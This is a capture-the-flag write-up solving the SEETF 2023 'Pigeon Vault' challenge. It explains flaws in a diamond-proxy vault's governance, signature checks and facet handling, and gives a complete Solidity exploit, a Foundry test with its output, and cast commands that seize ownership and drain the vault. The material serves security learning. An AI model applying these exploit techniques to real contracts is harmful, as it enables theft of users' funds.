# SEETF 2023 - Pigeon Vault [3 solves / 497 points]
### Description```rainbowpigeon has just received a massive payout from his secret business, and he now wants to create a secure vault to store his cryptocurrency assets. To achieve this, he developed PigeonVault, and being a smart guy, he made provisions for upgrading the contract in case he detects any vulnerability in the system.
Find out a way to steal his funds before he discovers any flaws in his implementation.
Blockchain has a block time of 10: https://book.getfoundry.sh/reference/anvil/
nc win.the.seetf.sg 8552```
I solved this challenge with the intended solution, but it has a much easier unintended solution because of a mistake in the setup contract, I discover the unintended solution after the CTF end when people told me in discord
Our goal is to become the owner of the diamond proxy, and drain ether from the diamond proxy```solidity    function isSolved() external view returns (bool) {        return (IOwnershipFacet(address(pigeonDiamond)).owner() == msg.sender && msg.sender.balance >= 3000 ether);    }```
This contract is using the diamond proxy pattern
https://eips.ethereum.org/EIPS/eip-2535
And in the setup contract, we are allowed to claim 10000 ether of token for once 
However, it did not set claimed to true, which cause the unintended solution of keep calling claim()
But I will just do this challenge in the intended way
```    function claim() external {        require(!claimed, "You already claimed");
        bool success = IERC20(address(pigeonDiamond)).transfer(msg.sender, 10_000 ether);        require(success, "Failed to send");    }```
In PigeonVaultFacet, it has an emergencyWithdraw() function, which allows the owner to drain the contract
```solidity    function emergencyWithdraw() public {        LibDiamond.enforceIsContractOwner();        address owner = LibDiamond.contractOwner();        (bool success,) = payable(address(owner)).call{value: address(this).balance}("");        require(success, "PigeonVaultFacet: emergency withdraw failed");    }```
So our goal is just to become the owner, and when we are the owner, we can just drain it with this
The FeatherCoinFacet is for the FTC token, and it has delegate logic
At first, I tried the double spending bug, by delegate a contract and transfer my tokens to another address and delegate again, but that does not work, because it will remove the delegate when transfer/transferFrom is called
```solidity    function transfer(address _to, uint256 _amount) external returns (bool) {        s.balances[msg.sender] -= _amount;
        unchecked {            s.balances[_to] += _amount;        }
        _moveDelegates(s.delegates[msg.sender], s.delegates[_to], _amount);
        return true;    }
    function transferFrom(address _from, address _to, uint256 _amount) external returns (bool) {        uint256 allowed = s.allowances[_from][msg.sender];
        if (allowed != type(uint256).max) {            s.allowances[_from][msg.sender] = allowed - _amount;        }
        s.balances[_from] -= _amount;
        unchecked {            s.balances[_to] += _amount;        }
        _moveDelegates(s.delegates[_from], s.delegates[_to], _amount);
        return true;    }```
In DAOFacet, we can submit and execute a proposal to add a facet, if we can add a malicious facet with it, we can become the owner when the diamond delegate call to our malicious facet
```solidity    function submitProposal(address _target, bytes memory _callData, IDiamondCut.FacetCut memory _facetDetails)        external        returns (uint256 proposalId)    {        require(            msg.sender == LibDiamond.contractOwner() || isUserGovernance(msg.sender), "DAOFacet: Must be contract owner"        );        proposalId = LibDAO.submitProposal(_target, _callData, _facetDetails);    }
    function executeProposal(uint256 _proposalId) external {        Proposal storage proposal = s.proposals[_proposalId];        require(!proposal.executed, "DAOFacet: Already executed.");        require(block.number >= proposal.endBlock, "DAOFacet: Too early.");        require(            proposal.forVotes > proposal.againstVotes && proposal.forVotes > (s.totalSupply / 10),            "DAOFacet: Proposal failed."        );        proposal.executed = true;
        IDiamondCut.FacetCut[] memory cut = new IDiamondCut.FacetCut[](1);
        cut[0] = IDiamondCut.FacetCut({            facetAddress: proposal.target,            action: proposal.facetDetails.action,            functionSelectors: proposal.facetDetails.functionSelectors        });
        LibDiamond.diamondCut(cut, proposal.target, proposal.callData);    }```
But in order to submit a proposal, we have to either be the owner or isUserGovernance() of us need to be true```solidity        require(            msg.sender == LibDiamond.contractOwner() || isUserGovernance(msg.sender), "DAOFacet: Must be contract owner"        );```
But the isUserGovernance() function has bug```    function isUserGovernance(address _user) internal view returns (bool) {        uint256 totalSupply = s.totalSupply;        uint256 userBalance = LibDAO.getCurrentVotes(_user);        uint256 threshold = (userBalance * 100) / totalSupply;        return userBalance >= threshold;    }```
As long as totalSupply >= 100, it will be true, and the totalSupply is 1000000 ether, so it is always true
So even the double spending bug doesn't work, it doesn't matter, we can submit proposal to add our malicious facet anyway
But after we submit the proposal, we still need to vote for it in order to execute it
```solidity    function executeProposal(uint256 _proposalId) external {        Proposal storage proposal = s.proposals[_proposalId];        require(!proposal.executed, "DAOFacet: Already executed.");        require(block.number >= proposal.endBlock, "DAOFacet: Too early.");        require(            proposal.forVotes > proposal.againstVotes && proposal.forVotes > (s.totalSupply / 10),            "DAOFacet: Proposal failed."        );        proposal.executed = true;
        IDiamondCut.FacetCut[] memory cut = new IDiamondCut.FacetCut[](1);
        cut[0] = IDiamondCut.FacetCut({            facetAddress: proposal.target,            action: proposal.facetDetails.action,            functionSelectors: proposal.facetDetails.functionSelectors        });
        LibDiamond.diamondCut(cut, proposal.target, proposal.callData);    }```
forVotes need to be larger than againstVotes and forVotes need to be larger than totalSupply/10
Total supply is 1000000 ether, so forVotes need to be > 100000
Also, it can be executed only if it reaches the proposal.endBlock, which is 6 blocks after the submission
We can use castVoteBySig() to vote ```solidity    function castVoteBySig(uint256 _proposalId, bool _support, bytes memory _sig) external {        address signer = ECDSA.recover(keccak256("\x19Ethereum Signed Message:\n32"), _sig);        require(signer != address(0), "DAOFacet: Invalid signature.");        _vote(_sig, _proposalId, _support);    }
    function _vote(bytes memory _sig, uint256 _proposalId, bool _support) internal {        Proposal storage proposal = s.proposals[_proposalId];        require(LibDAO.getPriorVotes(msg.sender, proposal.startBlock) >= s.voteThreshold, "DAOFacet: Not enough.");        require(block.number <= s.proposals[_proposalId].endBlock, "DAOFacet: Too late.");        bool hasVoted = proposal.receipts[_sig];        require(!hasVoted, "DAOFacet: Already voted.");        uint256 votes = LibDAO.getPriorVotes(msg.sender, proposal.startBlock);
        if (_support) {            proposal.forVotes += votes;        } else {            proposal.againstVotes += votes;        }
        proposal.receipts[_sig] = true;    }```
It's taking a signature, but it just check that the result of ecrecover of it is not address(0), and it is not used in `_vote()`, so the signature doesn't matter as long as ecrecover does not return address(0)
It will check if the signature is used for vote before, but we can just sign a valid signature, then even the message hash and `s` of the signature is changed, ecrecover will just return a somewhat random address, but not address(0), and the signature will be different every time, so we can vote as many times as we want
We can just use vm.sign() in foundry to sign with random private key```solidity        (uint8 sig_v, bytes32 sig_r, bytes32 sig_s) = vm.sign(1337, keccak256(abi.encodePacked("kaiziron")));        console.log("v, r, s :");        console.log(sig_v);        console.logBytes32(sig_r);        console.logBytes32(sig_s);``````v, r, s :270x987faeb9c51477cccee2867916547eaabbdad70489f2269ccf92a9bbf9d35cc00x3b1ae5d44573c6a572c750f6eef7ebba3430cb2c34afb0635cc5b08b91274b28```
Even I changed the message hash and s of the signature, it will still return an address that is not address(0)```➜ ecrecover(keccak256("\x19Ethereum Signed Message:\n32"), 27, 0x987faeb9c51477cccee2867916547eaabbdad70489f2269ccf92a9bbf9d35cc0, 0x3b1ae5d44573c6a572c750f6eef7ebba3430cb2c34afb0635cc5b08b91274b28)Type: address└ Data: 0x94850bf894ac067d9943566f3b65f734d4cb0392
➜ ecrecover(keccak256("\x19Ethereum Signed Message:\n32"), 27, 0x987faeb9c51477cccee2867916547eaabbdad70489f2269ccf92a9bbf9d35cc0, 0x3b1ae5d44573c6a572c750f6eef7ebba3430cb2c34afb0635cc5b08b91274b27)Type: address└ Data: 0x91fe6db27acbedd14b7262d2b891fb74522551f2```
But if we change r of the signature, it will return address(0), so just change s```➜ ecrecover(keccak256("\x19Ethereum Signed Message:\n32"), 27, 0x987faeb9c51477cccee2867916547eaabbdad70489f2269ccf92a9bbf9d35cc1, 0x3b1ae5d44573c6a572c750f6eef7ebba3430cb2c34afb0635cc5b08b91274b28)Type: address└ Data: 0x0000000000000000000000000000000000000000```
It will call getPriorVotes() to determine how many votes we can add
We have 10000 ether of FTC token, so just call delegate() to delegate ourselves```solidity    function delegate(address _delegatee) public {        return _delegate(msg.sender, _delegatee);    }```
Then wait for one block after delegate(), then getPriorVotes() will return 10000 ether of votes
It will check to see it is larger or equal to the threshold, which is set in InitDiamond```        s.voteThreshold = 10_000 ether;```
We excatly have enough votes to vote, and it will check that it's before endBlock of the proposal, so we have to vote before 6 blocks after the submission of the proposal
We have 10000 ether of votes, and we just need 100000 votes, so just vote for many times with different signature that ecrecover won't return address(0)
After our malicious proposal has enough votes, just wait until 6 blocks after the submission, then we can execute it, and our malicious facet can be added to the diamond
So I will test it with foundry test first, and I found an issue in executeProposal()
I submit the proposal with this :```solidityuint256 proposalId = DAOFacet(pigeonDiamond).submitProposal(address(0), hex"", IDiamondCut.FacetCut(address(exploit), IDiamondCut.FacetCutAction.Add, selectors));```
It gives error that the facet address is address(0), but I just put address(0) as the target address that is used to initialize the facet, and if it's address(0) it won't initialize
The issue is in executeProposal()```solidity        cut[0] = IDiamondCut.FacetCut({            facetAddress: proposal.target,            action: proposal.facetDetails.action,            functionSelectors: proposal.facetDetails.functionSelectors        });```
It set the facetAddress to be proposal.target, but it should be proposal.facetDetails.facetAddress instead
So the facet address is ignored and target address is set for both facetAddress and target
So just set both to the exploit facet contract's address```solidityuint256 proposalId = DAOFacet(pigeonDiamond).submitProposal(address(exploit), hex"", IDiamondCut.FacetCut(address(exploit), IDiamondCut.FacetCutAction.Add, selectors));```
And add a receive() function in the exploit facet contract```solidity// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.17;
import {LibDiamond} from "./libraries/LibDiamond.sol";
contract ExploitFacet {    function becomeOwner() public {        LibDiamond.setContractOwner(msg.sender);    }     receive() external payable {}}```
### Foundry test
```solidity// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.13;
import "forge-std/Test.sol";import "../src/Setup.sol";import "../src/ExploitFacet.sol";
contract vaultTest is Test {    Setup public setup_contract;    address public pigeonDiamond;    address public attacker;    address public attacker2;        ExploitFacet public exploit;
    function setUp() public {        setup_contract = new Setup{value: 3000 ether}();        pigeonDiamond = address(setup_contract.pigeonDiamond());        attacker = makeAddr("attacker");        vm.deal(attacker, 10 ether);        attacker2 = makeAddr("attacker2");    }
    function testExploit() public {        vm.startPrank(attacker);        console.log("setup address :", address(setup_contract));        console.log("attacker address :", attacker);        console.log("pigeonDiamond balance :", pigeonDiamond.balance);        console.log("attacker balance :", attacker.balance);        console.log("diamond owner :", OwnershipFacet(pigeonDiamond).owner());        //claim 10000 FTC from setup        console.log("Claiming FTC from setup...");        setup_contract.claim();        console.log("FTC balance of attacker :", FeatherCoinFacet(pigeonDiamond).balanceOf(attacker));        console.log("FTC balance of setup :", FeatherCoinFacet(pigeonDiamond).balanceOf(address(setup_contract)));        console.log("FTC totalSupply :", FeatherCoinFacet(pigeonDiamond).totalSupply());          exploit = new ExploitFacet();         bytes4[] memory selectors = new bytes4[](1);        selectors[0] = bytes4(ExploitFacet.becomeOwner.selector);        uint256 proposalId = DAOFacet(pigeonDiamond).submitProposal(address(exploit), hex"", IDiamondCut.FacetCut(address(exploit), IDiamondCut.FacetCutAction.Add, selectors));         console.log("Proposal ID for exploit facet :", proposalId);          FeatherCoinFacet(pigeonDiamond).delegate(attacker);        vm.roll(block.number + 1);        console.log("Attacker votes :", FeatherCoinFacet(pigeonDiamond).getCurrentVotes(attacker));        console.log("getPriorVotes(attacker, block.number - 1) :", FeatherCoinFacet(pigeonDiamond).getPriorVotes(attacker, block.number - 1));         (uint8 sig_v, bytes32 sig_r, bytes32 sig_s) = vm.sign(1337, keccak256(abi.encodePacked("kaiziron")));        console.log("v, r, s :");        console.log(sig_v);        console.logBytes32(sig_r);        console.logBytes32(sig_s);         for (uint i; i < 100; ++i) {            bytes memory sig = abi.encodePacked(sig_r, sig_s, sig_v);            //console.logBytes(sig);            DAOFacet(pigeonDiamond).castVoteBySig(proposalId, true, sig);            sig_s = bytes32(uint256(sig_s)+1);        }        vm.roll(block.number + 6);        DAOFacet(pigeonDiamond).executeProposal(proposalId);         ExploitFacet(payable(pigeonDiamond)).becomeOwner();        PigeonVaultFacet(pigeonDiamond).emergencyWithdraw();         console.log("pigeonDiamond owner :", IOwnershipFacet(address(pigeonDiamond)).owner());        console.log("attacker ether balance :", attacker.balance);        console.log("isSolved() :", setup_contract.isSolved());    }}```
```# forge test --match-path test/vault.t.sol -vv[⠊] Compiling...[⠒] Compiling 1 files with 0.8.20[⠢] Solc 0.8.20 finished in 4.02sCompiler run successful!
Running 1 test for test/vault.t.sol:vaultTest[PASS] testExploit() (gas: 3935678)Logs:  setup address : 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f  attacker address : 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e  pigeonDiamond balance : 3000000000000000000000  attacker balance : 10000000000000000000  diamond owner : 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f  Claiming FTC from setup...  FTC balance of attacker : 10000000000000000000000  FTC balance of setup : 990000000000000000000000  FTC totalSupply : 1000000000000000000000000  Proposal ID for exploit facet : 0  Attacker votes : 10000000000000000000000  getPriorVotes(attacker, block.number - 1) : 10000000000000000000000  v, r, s :  27  0x987faeb9c51477cccee2867916547eaabbdad70489f2269ccf92a9bbf9d35cc0  0x3b1ae5d44573c6a572c750f6eef7ebba3430cb2c34afb0635cc5b08b91274b28  pigeonDiamond owner : 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e  attacker ether balance : 3010000000000000000000  isSolved() : true
Test result: ok. 1 passed; 0 failed; finished in 29.24ms```
It works, so just exploit it on the actual challenge network
### Exploit contract```solidity// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.17;
import "../src/Setup.sol";import "../src/ExploitFacet.sol";
contract Exploit {    Setup public setup_contract;    address public pigeonDiamond;    ExploitFacet public exploit;    uint256 public proposalId;     constructor(address _setup) {        setup_contract = Setup(_setup);        pigeonDiamond = address(setup_contract.pigeonDiamond());    }     function exploit1() public {        setup_contract.claim();        exploit = new ExploitFacet();         bytes4[] memory selectors = new bytes4[](1);        selectors[0] = bytes4(ExploitFacet.becomeOwner.selector);        proposalId = DAOFacet(pigeonDiamond).submitProposal(address(exploit), hex"", IDiamondCut.FacetCut(address(exploit), IDiamondCut.FacetCutAction.Add, selectors));         FeatherCoinFacet(pigeonDiamond).delegate(address(this));        // wait for 1 block, then call exploit2()    }     function exploit2() public {        //(uint8 sig_v, bytes32 sig_r, bytes32 sig_s) = vm.sign(1337, keccak256(abi.encodePacked("kaiziron")));        //console.log("v, r, s :");        //console.log(sig_v);        //console.logBytes32(sig_r);        //console.logBytes32(sig_s);        uint8 sig_v = uint8(27);        bytes32 sig_r = bytes32(0x987faeb9c51477cccee2867916547eaabbdad70489f2269ccf92a9bbf9d35cc0);        bytes32 sig_s = bytes32(0x3b1ae5d44573c6a572c750f6eef7ebba3430cb2c34afb0635cc5b08b91274b28);         for (uint i; i < 100; ++i) {            bytes memory sig = abi.encodePacked(sig_r, sig_s, sig_v);            DAOFacet(pigeonDiamond).castVoteBySig(proposalId, true, sig);            sig_s = bytes32(uint256(sig_s)+1);        }        // wait for 6 blocks after submission, then do these in EOA:        //DAOFacet(pigeonDiamond).executeProposal(proposalId);        //ExploitFacet(payable(pigeonDiamond)).becomeOwner();        //PigeonVaultFacet(pigeonDiamond).emergencyWithdraw();    }}```
First just deploy the exploit contract```# forge create ./src/Exploit.sol:Exploit --constructor-args 0x3e0B37296BE0147dCAee55A1968908AD2080c303 --private-key <key> --rpc-url http://win.the.seetf.sg:8551/ce9c5082-29fb-4a36-b0d0-65726fb741c2[⠃] Compiling...No files changed, compilation skippedDeployer: 0x799046Bb7CF9c2308Ed77B0B068F1Cc697219127Deployed to: 0x1786410938B5137639D090c6774faFB99CbBF892Transaction hash: 0xd50dac3175e73670a86e1b5757cc0810ceaef22112de9e6d0bfc4bc117c85c8d```
Then just call exploit1() :```cast send 0x1786410938B5137639D090c6774faFB99CbBF892 "exploit1()" --private-key <key> --rpc-url http://win.the.seetf.sg:8551/ce9c5082-29fb-4a36-b0d0-65726fb741c2```
Then wait for 1 block and call exploit2() :```cast send 0x1786410938B5137639D090c6774faFB99CbBF892 "exploit2()" --private-key <key> --rpc-url http://win.the.seetf.sg:8551/ce9c5082-29fb-4a36-b0d0-65726fb741c2```
Then wait for 6 blocks after the submission and execute the proposal and call becomeOwner() to become the owner of the diamond
Finally just call emergencyWithdraw() as the owner to drain it
get pigeonDiamond address :```# cast call 0x1786410938B5137639D090c6774faFB99CbBF892 "pigeonDiamond()(address)" --rpc-url http://win.the.seetf.sg:8551/ce9c5082-29fb-4a36-b0d0-65726fb741c20xDe8ca44028e4F4EDd75612fD33D19F78838FA4E9```and proposalId :```# cast call 0x1786410938B5137639D090c6774faFB99CbBF892 "proposalId()(uint256)" --rpc-url http://win.the.seetf.sg:8551/ce9c5082-29fb-4a36-b0d0-65726fb741c20```
Execute proposal :```# cast send 0xDe8ca44028e4F4EDd75612fD33D19F78838FA4E9 "executeProposal(uint256)" 0 --private-key <key> --rpc-url http://win.the.seetf.sg:8551/ce9c5082-29fb-4a36-b0d0-65726fb741c2```
Become owner :```# cast send 0xDe8ca44028e4F4EDd75612fD33D19F78838FA4E9 "becomeOwner()" --private-key <key> --rpc-url http://win.the.seetf.sg:8551/ce9c5082-29fb-4a36-b0d0-65726fb741c2```
Emergency withdraw :```# cast send 0xDe8ca44028e4F4EDd75612fD33D19F78838FA4E9 "emergencyWithdraw()" --private-key <key> --rpc-url http://win.the.seetf.sg:8551/ce9c5082-29fb-4a36-b0d0-65726fb741c2```
Then call isSolved() in setup contract to confirm it is solved :```# cast call 0x3e0B37296BE0147dCAee55A1968908AD2080c303 "isSolved()(bool)" --private-key <key> --rpc-url http://win.the.seetf.sg:8551/ce9c5082-29fb-4a36-b0d0-65726fb741c2true```
```# nc win.the.seetf.sg 85521 - launch new instance2 - kill instance3 - acquire flagaction? 3uuid please: ce9c5082-29fb-4a36-b0d0-65726fb741c2
Congratulations! You have solve it! Here's the flag: SEE{D14m0nd5_st0rAg3_4nd_P1g30nS_d0n't_g0_w311_t0G37h3r_B1lnG_bl1ng_bed2cbc16cbfca78f6e7d73ae2ac987f}```